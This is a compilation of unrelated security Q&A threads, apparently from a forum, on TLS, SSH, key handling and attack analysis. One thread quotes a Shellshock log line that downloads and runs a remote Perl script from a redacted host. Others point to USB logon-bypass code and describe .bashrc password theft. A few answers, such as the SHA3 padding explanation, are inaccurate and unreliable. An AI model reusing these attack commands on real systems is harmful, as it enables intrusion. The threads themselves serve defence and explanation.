  Mixed Content: The page at https://example.com was loaded over a secure connection, but contains a form which targets an insecure endpoint http://other.example.com. This endpoint should be made available over a secure connection.

Is it safe to submit personal information over this website?

Danger Will Robinson, Danger!

The form on the site is not secure, and any data sent through that form will be in plain text. This means anyone listening to this communication will have a plain text copy of any data sent to that address.

If you don't know what data is sent there then you can't know if it's safe. Without code review you wouldn't know, and probably shouldn't trust the form. If it sends anything pertaining to secret or PII information, run away. Without a secure connection you can't be sure anyone is getting a copy of your data and should avoid sending it.


Why is CAcert not trusted by my browser? I am fairly new to encryption and SSL. Today I googled a bit (read some atricles about security) and encountered the site
https://cacert.org. I clicked it and was surprised. Chrome showed me a "not trusted" error. The SSL certificate seems not to be valid. I looked up the certificate and it shows me that the certification agency is not trusted anymore. I got some questions now:

Isn't CAcert a certification agency itself?
Why is that?
Could this be some kind of attack approach? (MITM)
What can I do?
Where can I get more information?

In case of cacert.org, they are presenting a self-signed certificate and that's why your browser complains. There is no trust chain that leads from the certificate to a root CA that you trust.

If you were using a Linux distribution that comes with their certificate pre-installed, you wouldn't see a warning. It would be inferred that by using such a system you trust the community.

In case of other OSs you put trust in public PKI that is supported (and provided in the form of a root certificate store embedded in their products) by Microsoft, Apple, Google, or Mozilla.

Cacert.org is outside of this infrastructure and that's why you see a warning.

Why?

Their "business" decision. They are free to do whatever they want when they provide web services. They could ask users to install their root CA, they could invest money and get a signed certificate for their website, or not invest and get a free letsencrypt certificate*.

They chose the first model, seemingly because that fits their purpose and "eat your own dogfood" idea.

What you can do?

It depends on what you want to do. You can access the site with http://cacert.org/ and read.

If you want to access it with HTTPS, you can display the provided certificate, examine it yourself. Then take your own decision to trust it.

The tricky part is that it indeed could be a MitM attack, so you should compare the fingerprint signature of the certificate you got with a signature you obtained through another trusted connection. They publish the fingerprints here but until you trust real them, you can't really trust the site belongs to real then. Catch 21.

You could either confirm the signature with another source you trust (friend, or just search google for the fingerprint you got and evaluate, if it's all over reliable places, it has chances to be valid) or use Debian that comes with their root certificate pre-installed to access the site over HTTPS.

You can then follow the link to instructions how to install their root CA, install and trust the certificates they signed from now on (including their own one).

* Technically they could use a certificate recognized by public infrastructure for their site and avoid the problem of initial trust, but maybe they decided that making you ask such a question is better for the spread of knowledge...


How to restrict SSH access outside of LAN? We have several dedicated servers.

We need to ensure "root" user can not be accessible through SSH outside of LAN.

I have searched and found the followings #

http://www.raspberrypi.org/phpBB3/viewtopic.php?f=36&t=20826
http://raspi.tv/tag/disable-password-login-for-ssh
http://kb.eukhost.com/steps-to-change-ssh-port-of-a-server/
http://www.cyberciti.biz/tips/ssh-public-key-based-authentication-how-to.html

  We need exactly the root user will be unable to access outside of LAN.
  but other users will be accessible outside of LAN.
  Because other users can do their work only within their scope.

Our OS details

# cat /proc/version
Linux version 2.6.18-308.4.1.el5PAE (mockbuild@builder10.centos.org) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-52)) #1 SMP Tue Apr 17 17:47:38 EDT 2012

Please help me to resolve the issue?

This is exactly what you want, I googled: only allow root ssh lan

First hit...
http://drsavoye.blogspot.com/2010/06/enable-root-login-from-lan-only.html

  On Linux, edit /etc/ssh/sshd_config. On Macs, edit /etc/sshd_config.
  Locate the line that defines PermitRootLogin, uncomment if it is
  commented out, and change its value to yes.

  On a separate line, add the following:

  Match Address 192.168.2.*,127.0.0.1
        PermitRootLogin yes

Of course, changing 192.168.2 to match your LAN subnet.


How can you check if a private key and certificate match in OpenSSL with ECDSA? I know how to do this with RSA keys (see this article: Determine if private key belongs to certificate?) however I do not know how to do this for ECDSA certificate / key pairs.

With RSA keys, the modulus can be used for this. However I'm not sure what the "equivalent" is for ECDSA.

Thanks!

The equivalent data for ECDSA, or any ECC including ECDH, is the public point value and a specification of the curve used. In practice for interoperability people use one of the curves identified by a standardized OID (NIST, SECG, etc) and mostly only the two "blessed" by NSA Suite B, namely nistp256 and nistp384, although the ASN.1 formats (and openssl library) can support any(?) Weierstrass-form curve.

But the easy methods are effectively the same as in Determine if private key belongs to certificate? , to which I add some possible improvements:

Use openssl x509 -in cert -pubkey to get the field from the cert, and compare it to (all of) the public key (in the same SPKI encoding) obtained from the private key with openssl ec -in key -pubout

1A. Instead of different commands for RSA and ECC private keys, since openssl 1.0.0 in 2010 you can use the algorithm-generic openssl pkey -in key -pubout for both.
Configure an openssl-based program to (try to) use the key and "own" cert. If they don't match, openssl library will return an error which the program should display.

2A. Instead of setting-up a whole server environment, or temporarily taking-over an existing one, you can just run openssl s_server -accept X -cert cfile -key kfile where X is any port usable on your machine = not restricted and not currently bound or connected. If it starts okay (cert & key match), just control-C (or equivalent).


Is there a USB exploit to bypass Windows password login? I work for a small-medium company doing most of the IT tasks, including systems administration, network administration, and even developing in-house software. Recently, my boss (the CEO) told me that some money had been stolen from the company (electronically, like a wire transfer or something) and there was a strong indication that it was done by one of our employees.

The company hired a third party to investigate and one thing they did was look through a number of workstations, including the CEO's. One thing that caught my attention was he told me that the "investigator" wanted to look through his computer, which was either locked or not logged in at all. He offered to type in his password so the guy could do what he needed, but he declined and then plugged in a USB stick and suddenly was logged into the account.

I've tried searching online for information about a USB exploit like this, but I mostly came across information about the BadUSB vulnerability, which doesn't really seem like it applies here.

Does anybody know of any USB exploits like this?

The computer runs Windows 10 64-bit.

There is a category of programmable usb sticks-devices running on atmel or similar microprocessors that act like hid's. Shortly, an HID is plug-n-play. no security checks, no questions asked! He could have probably programmed it in a way that would execute such system commands, it would give him access to an account. It's not that hard. Windows loads all the passwords in memory. And since hid's run at a high-priviledge service, its not hard to give your code the rights to do these tasks.

Check these: rubber ducky, HIDIOT and even Arduino. Since their microcontrollers are capable and there are libraries, why should the developers' code be limited to legitimate usege? ;)

EDIT: Since it was asked, I found some examples of code that work with devices like this:

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Attacking-Windows-At-The-Logon-Screen,---Gaining-Access-To-CMD-With-System-Privileges.

So yes, hid devices like these can actually execute code.

I also found another type of usb attack: https://room362.com/post/2016/snagging-creds-from-locked-machines/


When I open my gmail account,this shows,does this mean my account is hacked? When I open my gmail acccount I see a dialogue box that reads
like shown in the image?Does it mean my account is hacked?

This occurs because you're viewing an email that contains images and other resources served over HTTP, whilst the connection to the gmail site itself is HTTPS. This is known as mixed-mode, and it's risky in cases where an attacker can perform a man-in-the-middle attack. In this case, I don't think you should worry about it - it's completely normal to get this warning if you have embedded images enabled in emails.


Password security against Brute Force - local vs online attack? I always wonder about the generic statements about the security of passwords. Isn't it a huge difference if the password is used for an online account or for local data encryption? For example an ebay account or some local ZIP file encryption?
Some 8 digit password with upper- and lowercase plus numbers is having an entropy of around 47 and not considered as very safe. But if some online account is secured by such password, isn't it completely different? Because for some Bruteforce attack with even hundreds of machines trying to log in, the bandwith is your limit and you're much slower I think. And if the account is locked for a few minutes after some failed logins, it becomes even harder to brute force I guess? We're talking about 628 combinations...
So, why are statements regarding password security so generic? Isn't some 8 digit password to be considered secure for an online account (given that it does not appear in any word book)?
Of course, if the online service database is leaked, the efforts is for finding the password from the hash. But that is a different story...

If one sets security parameters assuming that the database will never be leaked, and then it is, then the security is breached.
If one assumes that the database will be leaked and sets parameters accordingly then it can be secure.
Since a database can always be leaked (e.g. via rogue employee or law enforcement warrant with subsequent carelessness) it is irresponsible to assume that it can't be. Thus guidelines like NIST's recommend security for the case of a leaked password database.


OpenPGP keys on smartcard: what is the real-world security gain of keeping master key offline? When keeping OpenPGP keys for daily use on a smartcard (a Yubikey, say), what are, from a security point of view, the advantages of keeping the master key offline as compared to simply keeping the master key pair on the card?  (Of course, just like in the case of using subkeys, redundant encrypted offline backups of the master key exist.)

I understand that subkeys may be revoked separately from the master key, but I fail to see a realistic threat model where this capability would matter.  Here are the two most relevant threat scenarios that I can come up with where there would be a difference:

(1) An adversary gains access to a computer where the smarcard is used and manages to read out the private master key by exploiting a weakness or backdoor in the smartcard.  Or, if readout is impossible, the adversary may create a revocation certificate or certify other keys.

(2) Same as (1), but the smartcard gets lost or stolen.

Frankly, I do not consider (1) or (2) relevant for someone like, say, a free software developer who is not directly targeted by powerful adversaries like state security agencies who may have the necessary knowledge and resources to defeat the smartcard.  And someone who is individually targeted by powerful adversaries needs to also take care of other glaring security problems (like living in a place that is not guarded 100% of the time).

Personally, I feel reasonably secure keeping my master key on the encrypted Debian laptop that I use for daily work and that no one else has physical access to.  (This approach is sometimes called trusted physical console.)  The reason I'm interested in smartcards now is that I would like to use the key also on other computers to which third parties may theoretically have access.

Am I overlooking any real-world advantages of not keeping the master key on the daily-use smartcard?  Have any attacks become known where the additional security of keeping the master key offline mattered?

On the other hand, one could argue that since one needs to keep offline backups of all the keys anyway, one may just as well use dedicated subkeys for daily work, since the amount of additional hassle does not seem to be particularly high.

I'm not a cryptographic expert but here is my point of view.

Both methods you talk about are storing the keys offline. Secrets stored in smart cards cannot be read. The goal of a smart card is to keep the private key out of the computer. You can communicate with your smart card to do cryptographic operation but you can't extract the private key.
So your first scenario is a bit far from reality as it is unlikely to happen.
The second scenario is also not realistic. Usually, you need to enter a pin code to use your smart card. So if someone steal your smart card, it can't use it. Some smart cards can be automatically deactivated after a number of wrong pin. Anyway, when you see that your smart card has been stolen, you can "revoke" it.

So I would say that from the security point of view smart card and offline storage of cryptographic keys are equals for your usage (storing openpgp keys). But for an everyday usage of your personal keys smart cards are a better solution. It's also easier to manage smart cards in organization than offline computer.

Here is good article to complete my answer : Strategies for offline PGP key storage


Securing traffic between devices on same local network I am developing a Windows 10 Universal Application which has the ability to send files over the local network to other copies of itself on different devices.
I will also extend this to remote control one instance of the application from another (limited access).

The applications are sandboxed by default due to the windows runtime API, and files can only be saved in some specific locations (no access to C > windows). Furthermore, users can block any network interactions (done by default) and block individual file transfers (although they can opt in to automatically accept any file)

For the moment, traffic is completely unencrypted and "out in the open". Should I bother with encrypting the traffic somehow? I am thinking that if the network is compromised, it is highly unlikely my own encryption will save the user and malicious users will find their way anyway.

Whether you should or not isn't really an opinion we can offer: yes you should (or maybe it is). What you really need to do is figure out what risks are present in the interactions between applications.

If the network itself is compromised, that doesn't mean the applications or the users are compromised. It just means an attacker can see traffic over the wires. Encrypting that traffic mitigates any privacy-related problems, but it introduces a few subtler problems like how do you exchange encryption keys, how do you verify the keys if you're using PKI, etc.

That said, if you mean the network as many or all computers on the network are pwned, well, that's a different problem. Encryption might still help, but the problem moves in to the realm of protecting the keys.

So you need to ask yourself: what am I needing to protect against? What am I willing to protect against?


Why are we using SHA3-512? As we know, hash algorithms can be used for authenticity of a message. In my understanding, since the message lengths are too large, we convert it into a hash value using hash algorithms and these hash values will be sent along with the  message for authenticity. This is my understanding on why we use hashing algorithms.

But in SHA3-512, if input is 128 bits long then we are getting a hash value of 512 bits.

My question then is that if the message length is small then why are we increasing it's size to 512 bits?

The direct answer as to why your 128-bits are converted into 512-bits from this hash, is because it is padded with 1s and 0s at different steps to be congruent (mathematically) with even variable numbers (mod 512).


How to identify if a field is encrypted? I have a requirement to identify if the data is encrypted or not. The data is a field that will be in Json format. I found another question hear at

How to identify Encryption algorithm for data coming in field/attribute values of an xml

But this for identifying the kind of encryption technique and its from 2014 don't know if that is still valid.

Another thing I just want make sure that the field is encrypted don't want to identify the encryption technique.

Depending on what types of data you're expecting, you could try looking at the entropy (randomness) of the data. Properly encrypted data should be pretty much indistinguishable from random noise, and will have a much higher entropy than any kind of structured data.

Shannon entropy is a common way of determining the level of "randomness" of strings - you can find plenty of example code in various languages.

There are some other kinds of data that will also have very high entropy (images, compressed data, etc), but you can probably check for these looking at the signatures/magic bytes.

Not foolproof, but might give you a good starting point.


Does access to a BISmark router mean access my network? Project BISmark aims to measure broadband service by recording and reporting on service using OpenWRT-based router firmware (software licensing unclear, no LICENSE or COPYING files in the repos) with results published publicly. Their privacy statement highlights that they collect only service information, not network traffic. However their Participant Notices also includes the following statement:

  BISmark Remote Access Statement

  To control the measurement experiments run on participants' BISmark devices, as well as to upgrade and troubleshoot devices when they are installed in participants' homes, the BISmark routers have remote access capabilities. Authorized members of the BISmark team have the capability to execute scripts and obtain shell access on the BISmark router installed in your home. These capabilities will only be used for controlling measurement scripts and for performing maintenance on your BISmark router.

Given that a BISmark researcher could log in to my router, could they (attempt to) access other machines on my network?

We can understand your concerns. We do have the ability to ssh in to your router, yes, but access is limited to 4 people, and it is only done for trouble shooting purposes.

The goal of BISmark is to enhance our understanding of broadband networks. We do not collect any personal (PII) information. We are simply not interested in it. We are interested in how your network (access link, wireless network, etc) is performing.

All our experiments are vetted by the Georgia Tech Institutional Review Board (IRB).
Please address further concerns to bismark-core@projectbismark.net


Shellshock Exploit evidence - is this a successful attack I was looking through logs today and noticed the following:

 62.219.116.107 - - [26/Dec/2016:15:16:08 -0100] "GET / HTTP/1.0" 200 13501 "-" "() { :;}; /bin/bash -c \"wget http://[redacted]/bo.pl -O /tmp/bo.pl;curl -o /tmp/bo.pl http://[redacted]/bo.pl;chmod +x /tmp/bo.pl;perl /tmp/bo.pl;rm -rf /tmp/bo*\""

As I understand this is an attempt to scan the shellshock vulnerability. I retrieved the file loaded bo.pl - which contained the following...

<html>
<head>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://192.168.1.1/blocking.asp?cat_id=78">
</head>
<body></body>
</html>

Now as I understand it this is using the refresh technique to display a blocking.asp page of some sort.

I'm positive given that evidence that this was a malicious attack. The thing that worries me is the log shows 13501 for the response length. But when I tried to use the simple shellshock header to test the ability...

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

I only received the following log entry...

71.121.200.199 - - [26/Dec/2016:18:14:11 -0100] "GET / HTTP/1.1" 200 22 "-" "() { :; }; /bin/eject"

I also went to check the /tmp directory and found
two files which don't exactly correspond to the time on the logs but they seem suspicious seeing as its a headless server and these appear to be linked to remote desktop services of some sort.

-rw-r--r--  1 0 0    8 Dec 25 03:46 httpd_lua_shm.2693
drwxrwxrwt  2 0 0 4096 Dec 24 18:42 .ICE-unix

So my question is - does this appear to be a successful attack due to the fact that the bytes in the response are so large? Is there somewhere else I should be checking besides the bash history and such to look for clues to what happened?

Now as I understand it this is using the refresh technique to display a blocking.asp page of some sort.

The page that was returned when you requested http://[redacted]/bo.pl is a blocking page served up by your Asus WRT:
https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/www/blocking.asp

["Home Protection", "78", "Malicious site blocked", "", "Sites used by malicious programs, including sites used to host upgrades or store stolen information."]

The bo.pl should have been a perl script.  The attack attempted to download and execute it, then remove it from the system.  If you have system execution logs, you should be able to see if it was run.

Try and do the same thing to your server.  Only difference I see in your request is the HTTP version used (1 vs 1.1), so it may have served up a different amount of bytes.


Url Shortener vulnerability I have service like tiny URL to shorten www.example.com/[6chars] URLs. However it includes person specified sensitive information.

How can I  protect the URL bruteforce scanners to the detect if URL has response. Or anyway it is possible?

UPDATE:17.09.2015

I will send the shortened link as SMS or E-Mail so i do not have any session information. I guess i can not solve the vulnerability. I have to cancel shortener service.

Well Simple answer.

DO NOT EVER INCLUDE ANY KIND OF PERSONAL INFORMATION INTO URL.

URL is extremely easy to get from outside (e.g. javascript, screenshot, etc etc) and it should never, ever include personal information. It's like using a Social Security Number as your license plate number.

You technically can block bruteforce scanners by adding checks like if the user is in the current session and reject connection if anyone is trying to access to the URL without session information, but it's still not great approach because it will still give you some sort of response from server. (for example, if you just check session and echo that you have no permission, it will give you 200 response code, and the attacker will be able to notice that there is SOMETHING)

Please find other ways to provide your service without using personal information on URL.

As suggested below, if you decide to hash the personal information, please use longer & more character set.

If you use only 6 alphabet characters, it will take about ~9 hours with Class A brute force attack, and Class F can crack it instantly.

Please take a look at this website and make sure you hash it correctly. But then again, hashing should not be the ultimate solution.

EDIT:

If you are not displaying personal information on URL, that might be fine. You can simply generate a personal link and send it to your user via SMS or email with authentication.

That means, once user clicks the link, it will take the user to the login screen. The URL should not mean anything in this case of course.


Where to download revoked certificates from? I don't want the certificate revocation lists. I want actual full on revoked certificates for test purposes.

For example, Flame used a signed rogue cert and in 2001 someone posed as Microsoft and got rogue certs for them from Verisign.  I think it'd be interesting to have both of these certs.

Like one thing I'm curious about: was the CRLDistribituionPoint extension present in them? I'm curious about other things too but if someone has them that'd be great. Thanks!

You could just use a MD5 rogue certificate (directly to the demo page). Also see the research paper.

I also found a research on the rogue certificates from March 2011.

Maybe searching the Internet for those black-listed rogue certificates' serial number will help:

00:b0:b7:13:3e:d0:96:f9:b5:6f:ae:91:c8:74:bd:3a:c0 login.live.com
00:e9:02:8b:95:78:e4:15:dc:1a:71:0a:2b:88:15:44:47 login.skype.com
00:39:2a:43:4f:0e:07:df:1f:8a:a3:05:de:34:e0:c2:29 login.yahoo.com
00:3e:75:ce:d4:6b:69:30:21:21:88:30:ae:86:a8:2a:71 login.yahoo.com
00:d7:55:8f:da:f5:f1:10:5b:b2:13:28:2b:70:77:29:a3 login.yahoo.com
00:04:7e:cb:e9:fc:a5:5f:7b:d0:9e:ae:36:e1:0c:ae:1e mail.google.com
00:f5:c8:6a:f3:61:62:f1:3a:64:f5:4f:6d:c9:58:7c:06 www.google.com
00:92:39:d5:34:8f:40:d1:69:5a:74:54:70:e1:f2:3f:43 addons.mozilla.org

These serial numbers are from the Microsoft certificate store after applying the relevant updates.

I did some searching, but all i found was the link 4 I already mentioned above.


Encrypted disk at risk if laptop stolen while turned on but locked If I have a laptop with full disk encryption it's turned on, the screen is locked and it gets stolen. How would an attacker get my data? It's not encrypted at the moment because it's turned on but the only ways that I know of grabbing a password requires you to boot to a cd/dvd/thumbdrive which requires restarting or running an exploit against the machine over the network and stealing the SAM or passwd file.

There are known attacks using DMA and a firewire port that can override the locking screen's protection.  Unless certain firewire features that are on by default were disabled, simply plugging in a firewire adapter and running some specialized code can make the lock screen accept any password.


Which CA issued certificate for https://www.google.com I installed Kaspersky internet Security 2016 on my laptop;
in Firefox and Edge the root issuer is Kaspersky Anti-Virus Personal Root Certificate.
but in chrome the root issuer is GeoTrust.
in my knowledge the Root CA certificate is self signed By Root. how Kaspersky changed the issuer name?
also it changes the Certificate Hierarchy
in Firefox the Hierarchy is :

Kaspersky Anti-Virus Personal Root Certificate
    www.google.com

but in chrome the Hierarchy is :

GeoTrust Global CA
    Google Internet Authority G2
        *.google.com

I check some another site but the all browser showed me an identical result? is this related to google chrome certificate pinning for some url?

This "Kaspersky Anti-Virus Personal Root Certificate" is the sign that your anti-virus is actively intercepting the connection, in effect running a Man-in-the-Middle attack. This can work because your anti-virus runs locally (on your computer) its own certification authority, and inserted the corresponding CA key in the "trusted store" used by your browsers (well, not all of them, since it apparently did not do the job for Chrome -- as was remarked by @Neil, Chrome does not liked to be fooled about Google's certificate). Thus, the anti-virus generates on-the-fly a fake certificate for Google, which fools your browsers. The certificate you see in Edge or Firefox is not the one that Google's server sent, but the imitation produced locally on your computer by Kaspersky.

Anti-virus software does such things in order to be able to inspect data as it flows through SSL, without having to hook deep inside the code of the browsers. This is an "honest MitM attack".


SQL TLS termination on Load Balancer From what I understood TLS is protocol independent of HTTPS and can be used with other protocols as well. For example in order to connect to MS SQL server via encrypted connection I'll have to enable TLS with cert on MS SQL server and I know that works.
My question is why it's not possible to leave MS SQL server without TLS configuration and put TLS termination on Load Balancer such as AWS NLB using TCP (TLS) listener that will just forward traffic after decrypting TCP packets to MS SQL server? What am I getting wrong in whole this TLS termination offloading to LB approach?

You really, REALLY shouldn't be exposing your database server to the Internet, no matter how good of a password you have on it. Keep that sort of thing entirely within the cluster; doing otherwise is just additional attack surface you don't need or want. With that said, the basic principle you describe - terminating TLS at the load balancer, which effectively acts as a reverse proxy for the DB server - is totally viable.
Obviously, the load balancer would need a suitable and trusted certificate for each backend server (and corresponding private key) or the client will reject the TLS handshake as untrusted. Additionally, it's not a good practice to use plain-text communication even within your network; defense in depth dictates that you should re-encrypt the traffic between the load balancer and back-end servers (ideally with per-server mutual TLS keys) so that an attacker who is able to monitor, intercept, or generate traffic within the cluster (perhaps by SSRF or by compromising one server) can't fully compromise the network (or at least it's not easy, and gives more time for defense).


What is the best way to store password in memory (RAM) in Java? Imagine there is a login form in Java application. We need assign usename and password to variables. Moment after we can Hash or HMAC password and keep it just for authentication step (no caching). But still we need to assign variable for Raw password.

Q1) What sort of variable type we should use to store Raw password(String, Char array or else)?

Q2) What should we do variable of Raw password after using (i.e. Just allow garbage collector to dump it after function go out of scope)?

Q3) Anything else?

This is a Java related question. I posted it here since it very much close to security.

For the C/C++ I have little idea. They are

Store password in low system level variable which not depends on
other libraries. I.e. store password in char [] which is very native than QString (Qt) type variables provided by frameworks.
Immediately overwrite password char[] after use it. Then destroy it.
Reduce the time of password in memory as low.

The general guidance is to use a char[], which while not foolproof, will allow you to overwrite the characters in the password once you're done with them, something that is not possible with strings, as they are immutable and continue to live on the heap until garbage collection.

This has also been discussed in detail on StackOverflow.


Can WhatsApp be intercepted? Is it possible to intercept/hack a WhatsApp conversation between two people or messages sent to a group and how safe is WhatsApp call? Is eaves dropping possible in anyway?

WhatsApp has an end-to-end encryption feature, this should protect you from most threats.

Here's another thing, WhatsApp is compromised by NSA. Its mother company, Facebook, has been proven to be in NSA's PRISM program. So, if the NSA is in your threat model then I'd advise to avoid WhatsApp and use a more security-oriented OTR software, like Signal, or Wire.


How .bashrc can be used to attack a system? I read about this malicious Sudo function on Nullbyte where by inserting this bash function into a victims .bashrc/.bash_profile an attacker
could exfiltrate sudo passwords fairly easily.

This got me thinking about other possible malicious functions, aliases, or commands that could be hidden and secretly executed here.

What are some well-known exploits of the .bashrc/.bash_profile files outside this one?

This is not an exploit, as there is no underlying vulnerability to be exploited. It's more akin to malware, in the sense that it does something malicious on your system.

As you probably know, .bashrc and .bash_profile run after a user runs bash and authenticates successfully. This is not a vulnerability and very much so by design and/or necessity, however you want to look at it.

On the surface, it seems like a straightforward thing to use for an attacker to escalate their privileges. A file that executes anything as soon as the user does a trivial task. In practice however, this is more difficult. In order to edit the .bashrc or .bash_profile file, you need some way to edit arbitrary files with the permissions of the user you would like to attack. This is already an incredibly strong position to be in, and modifying those files will likely not get you into a better position. An analogy for this would be if you are holding a gun, then a toothpick will not be a better weapon.

Therefore, an attacker wants to either escalate their privileges even more, or they want to make their current access more consistent or more convenient. This is something that modifying .bashrc can help with. The example you already made shows this very well. By gathering the user's credentials, access to the machine could either be easier (connecting directly via SSH rather than using e.g. a web shell or some other exploit) or it could allow the attacker to execute commands rather than only writing files.

Other things an attacker may want to do is:

Modify system files to include malicious behavior (to persist access)
Gather administrative credentials to act as root (to escalate privileges)
Launch other malicious software (to make further exploitation more convenient)

How exactly those are done is not rocket science. .bashrc executes whatever you put there with the permission of the current user. You can use your imagination to come up with examples.


Can my IT department read my Google Hangouts chats while at work? Is Google hangouts encrypted? Would my work's IT guys be able see pictures and text I send while on a work computer? Yes I know I shouldn't be sending stuff I don't want them to see while at work, but it wasn't at work. I use hangouts on my phone as well and just realized I use the hangouts Chrome plug-in at work and it was syncing all my conversations.

You should assume that they can. There are various ways they can do it, but whether they actually do it depends on company's standards and practices. Some of the options:

It's possible to install additional root certificates on company's machines
and use that to MITM all the traffic (traffic goes through company's
gateway/proxy anyway, and having friendly root certificate on user's
PC allows to do a full MITM);
It's possible to install "employee monitoring software", which is essentially a key logger + process monitor + screen grabber. Some tools have capacity to locally intercept received messages in chats.
It's possible to use remote access/collaboration tools to monitor what's happening on the screen of a particular PC.

In short, if you don't have control over the PC you're working on (and with company's workstations you typically don't), you cannot assume it's free from such surveillance implants.

Hope that's not too scary :)


Prevent acccess to the C drive on Windows systems Is it possible to prevent regular users from accessing the C drive via Windows Explorer? they should be allowed to execute certain programs. This is to ensure that employees cannot steal or copy out proprietary software even though they should be able to execute it.

One way would be to change the option in windows Group Policy and set the "shell" to something other than "explorer.exe". I'm looking for a similar windows setting that just hides the  C drive or otherwise prevents trivial access.

It's possible to use Group Policies to hide specific drives in My computer, windows explorer and similar file browsing mechanisms (Microsoft article on it here).

It's been a while since I've seen this implemented, but back then there was usually a way around the restriction, so this kind of control would prevent casual access, but wouldn't stop a determined attacker.

Ultimately it's pretty difficult to stop someone who has legitimate access to execute a file from being able to read it, especially if they have access to the hardware that's executing the file.


Does AES-192 provide better encryption than AES-256? this wikipedia article describing AES says:

  Related-key attacks can break AES-192 and AES-256 with complexities 2^176 and 2^99.5, respectively.

Does this mean that AES-256 is actually a weaker form of encryption than AES-192?
I’m currently writing a small password-manager program, which one should I use? It would also be cool if someone could explain the weakness of AES-256 compared to AES-192.

Related-key attacks are interesting mathematical properties of algorithms, but have no practical impact on security of encryption systems, as long as they are used for what they were designed, i.e. encryption (and not, for instance, as building blocks for hash functions).

Bigger is not necessarily better. There is no practical need for using a 256-bit key over a 192-bit key or a 128-bit key. However, AES with a 128-bit key is slightly faster (this is not significant in most applications) so there can be an objective reason not to use bigger keys. Also, AES-128 is more widely supported than the other key sizes (for instance, outside of USA, AES-128 is available by default with Java, while bigger key sizes must be explicitly activated).

None of AES-128, AES-192 or AES-256 is breakable with today's (or tomorrow's) technology (if they are applied properly, that is). Try to work out what 299.5 is: it is... somewhat large.


What format does an .htpassword file use for checking passwords? So I've gotten to the point of creating a login system.  I've considered having it store hashed passwords in a database that are written to an .htpassword file outside public view on a server.  I can do this, but a problem occurs when I try to verify the password against the database or the password input by a user.  It appears that the password in the .htpassword file is verified using some particular format I'm not aware of...meaning I can't just use Password A === Password B.

From Apache's documentation:

  htpasswd is used to create and update the flat-files used to store usernames and password for basic authentication of HTTP users.

Examples:

  htpasswd /usr/local/etc/apache/.htpasswd-users jsmith

  Adds or modifies the password for user jsmith. The user is prompted
  for the password. The password will be encrypted using the modified
  Apache MD5 algorithm. If the file does not exist, htpasswd will do
  nothing except return an error.

  htpasswd -c /home/doe/public_html/.htpasswd jane

  Creates a new file and stores a record in it for user jane. The user
  is prompted for the password. If the file exists and cannot be read,
  or cannot be written, it is not altered and htpasswd will display a
  message and return an error status.

  htpasswd -db /usr/web/.htpasswd-all jones Pwd4Steve

  Encrypts the password from the command line (Pwd4Steve) using the
  crypt() algorithm, and stores it in the specified file.

This is misleading as the password is not encrypted but rather hashed, and bad because it's using md5 (iterated 1000 times) by default. You should use htpasswd -B to use bcrypt instead.


Any small idea to decode this algorithm from PHP script So I think the algorithm is based on the php function ENCODING_decode defined in includes/encoding.php (which i don't have)   .
 The encoded result  $xId_campaign_encoded from the php script has always 24 alphanumeric characters

The user and campaign IDs seem to be hexadecimal numbers (of 32 and 48 bits respectively).  I see no obvious structure in them — they're definitely not printable ASCII byte strings.

The 24-char "result" strings are not hexadecimal, but they might be base 36. However, if so, they're too long to be reliably decoded by PHP's base_convert() function.

However, if you look carefully at the sample strings, you'll notice that letters only appear in odd-numbered character positions.  This suggests that the strings might be encoded two characters at a time.  In fact, if you split each string into two-character pairs, swap the letters in each pair and decode them as base 36 numbers, all the values turn out to be less than 256.  Specifically, the strings you gave decode to the following hexadecimal strings:

z264643413z2e4l5i5744413 -> 6b 96 96 93 6d 6b 9e c9 c6 97 94 6d
x2v2d4a4a4z2d464j5c464u2 -> 69 67 9d 9a 9a 6b 9d 96 c7 9c 96 66
z2q274k523647454b4948464 -> 6b 62 97 c8 6e 96 97 95 9b 99 98 96
13s2j55433x2m5n594u244a4 -> 6d 64 c7 95 6f 69 ca cb 99 66 94 9a
74t2c4h5w20364j56474t254 -> 97 65 9c c5 68 6c 96 c7 96 97 65 95

These still show quite a bit of redundancy; for example, the upper nibble of each byte is always 6, 9 or c = 12, and the lower nibbles aren't exactly uniformly distributed either:

0 =  0:  0
1 =  1:  0
2 =  2:  1 #
3 =  3:  1 #
4 =  4:  3 ###
5 =  5:  6 ######
6 =  6: 11 ###########
7 =  7:  9 #########
8 =  8:  3 ###
9 =  9:  5 #####
a = 10:  4 ####
b = 11:  6 ######
c = 12:  3 ###
d = 13:  5 #####
e = 14:  2 ##
f = 15:  1 #

In fact, plotting the frequency of all bytes as a table, with the upper byte as the row (showing only rows 6, 9 and c for brevity) and the lower as the column, gives a curious picture:

  | 0123456789abcdef
--+-----------------
6 | 0010122112041311
9 | 0001238512312210
c | 0000011311110000

However, I can't immediately think of what might be generating such a byte distribution, but it does seem too distinct to be just a coincidence.


IDS false positive rates Are there any industry accepted standards for the false positive rates for a Network IDS based on Snort? Is there a way to check the false positive rates in a deployed IDS? (ideally without looking at every network record) . I read about the ICSA labs certification for Snort here http://lwn.net/Articles/6896/ but, it does not talk about false positive/ negative rates.

False positives are a tricky issue. They deepening on your setup, the rules you use, and the IDS configuration. Generic industry numbers will not apply to your network.

If you just want stats try NSS Labs, http://www.nsslabs.com. They do competitive testing for all types of security products and false positive rate is one of the metrics they use heavily.


Privilege Escalation Mitigation What is the best protection against Privilege Escalation vulnerability in web application. Basically I am able to change the HTTP response in JSON format from USER ID to ADMIN ID to get access to the admin account system.

In kind of security you talk generally of 3 points:

identification
authentification
authorization

You are missing point 2/"never trust the client": You identify the client by the ID and give him the rights based on the ID sent from the client. Like you saw this fails because the client can lie. The most common solutions for authentification at websites are:

Sending an authentification token like a password with the request AND CHECKING SERVERSIDE
Using sessions (like cookies) AND CHECKING SERVERSIDE


What are the security issues relating to macro enabled MS office documents? Are there any security issues relating to macro enabled MS office documents?

There have been several macro viruses in the past where they install macros on any document one opens, though it's been a while since I've seen this attack in use. This kind of malware even rates it's own wikipedia article.


Disclosure of end user files or installation of Trojan horses via XSS I've stumbled upon following examples of XSS attacks on OWASP:

  Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs...

As I know a classic XSS attack that uses JS has very restrictive access (if at all) to user end files and the OS itself because of the browser's sandbox.
So I would like to know how is it even possible or maybe am I missing something?
And does anyone has a scenario for such an attack?

